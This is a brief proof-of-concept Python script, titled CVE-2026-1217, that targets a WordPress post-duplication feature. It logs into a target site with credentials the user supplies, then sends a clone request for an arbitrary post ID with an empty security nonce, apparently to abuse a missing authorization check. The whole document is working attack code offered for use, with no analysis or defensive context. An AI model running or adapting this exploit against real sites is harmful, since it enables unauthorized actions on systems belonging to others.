CVE-2026-1217

import requests from bs4 import BeautifulSoup # PoC for CVE-2026-1217 target_url = input("Enter target WordPress URL: ") username = input("Enter username: ") password = input("Enter password: ") session = requests.Session() # Login login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Exploit - Clone arbitrary post clone_url = f"{target_url}/wp-admin/admin.php?page=duplicate-post" post_id = input("Enter target post ID to clone: ") exploit_data = { 'action': 'duplicate_post_clone', 'post_id': post_id, '_wpnonce': '' } response = session.post(clone_url, data=exploit_data) print(f"Clone response: {response.status_code}")

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